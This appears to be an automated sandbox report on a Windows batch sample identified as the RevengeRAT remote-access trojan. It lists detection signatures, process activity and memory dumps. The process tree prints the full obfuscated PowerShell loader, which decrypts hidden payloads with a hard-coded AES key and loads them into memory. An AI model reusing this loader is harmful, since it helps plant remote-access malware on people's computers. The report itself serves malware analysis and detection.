Analysis
- max time kernel
90s - max time network
207s - platform
windows11-21h2_x64 - resource
win11-20240419-en - resource tags
- submitted
07/05/2024, 23:28
General
- Target Server.bat
- Size 65KB
- Sample240507-3gd62agg95
- SHA256 c20c7d5127614b8d01d2938f1ca221468d19e5dd7bdd6b6a63dd835c86c65e1c
Score
10/10
Malware Config
Signatures
- RevengeRAT
Remote-access trojan with a wide range of capabilities.
- RevengeRat Executable 1 IoCs
- Drops file in System32 directory 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Server.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('YSbY4Tvz1QAkcTZqNMxH02Ec95wDSyjjPazNwE/mZxg='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dZSvfkNNhQpfO0JhWZqjdA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $NdtDy=New-Object System.IO.MemoryStream(,$param_var); $yFsRk=New-Object System.IO.MemoryStream; $xvDZI=New-Object System.IO.Compression.GZipStream($NdtDy, [IO.Compression.CompressionMode]::Decompress); $xvDZI.CopyTo($yFsRk); $xvDZI.Dispose(); $NdtDy.Dispose(); $yFsRk.Dispose(); $yFsRk.ToArray();}function execute_function($param_var,$param2_var){ $dEKeS=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $laCCD=$dEKeS.EntryPoint; $laCCD.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$QUlWd=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ymOIo in $QUlWd) { if ($ymOIo.StartsWith(':: ')) { $TfMhH=$ymOIo.Substring(3); break; }}$payloads_var=[string[]]$TfMhH.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Drops file in System32 directory
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
__PSScriptPolicyTest_ltulg0uc.sdm.ps1
memory/5100-0-0x00007FFFAE573000-0x00007FFFAE575000-memory.dmp
memory/5100-9-0x00000202AEBC0000-0x00000202AEBE2000-memory.dmp
memory/5100-10-0x00007FFFAE570000-0x00007FFFAF032000-memory.dmp
memory/5100-11-0x00007FFFAE570000-0x00007FFFAF032000-memory.dmp
memory/5100-12-0x00007FFFAE570000-0x00007FFFAF032000-memory.dmp
memory/5100-13-0x00000202AEBB0000-0x00000202AEBB8000-memory.dmp
memory/5100-14-0x00000202AEE50000-0x00000202AEE5E000-memory.dmp
memory/5100-15-0x00000202AEE60000-0x00000202AEE74000-memory.dmp
memory/5100-18-0x00007FFFAE570000-0x00007FFFAF032000-memory.dmp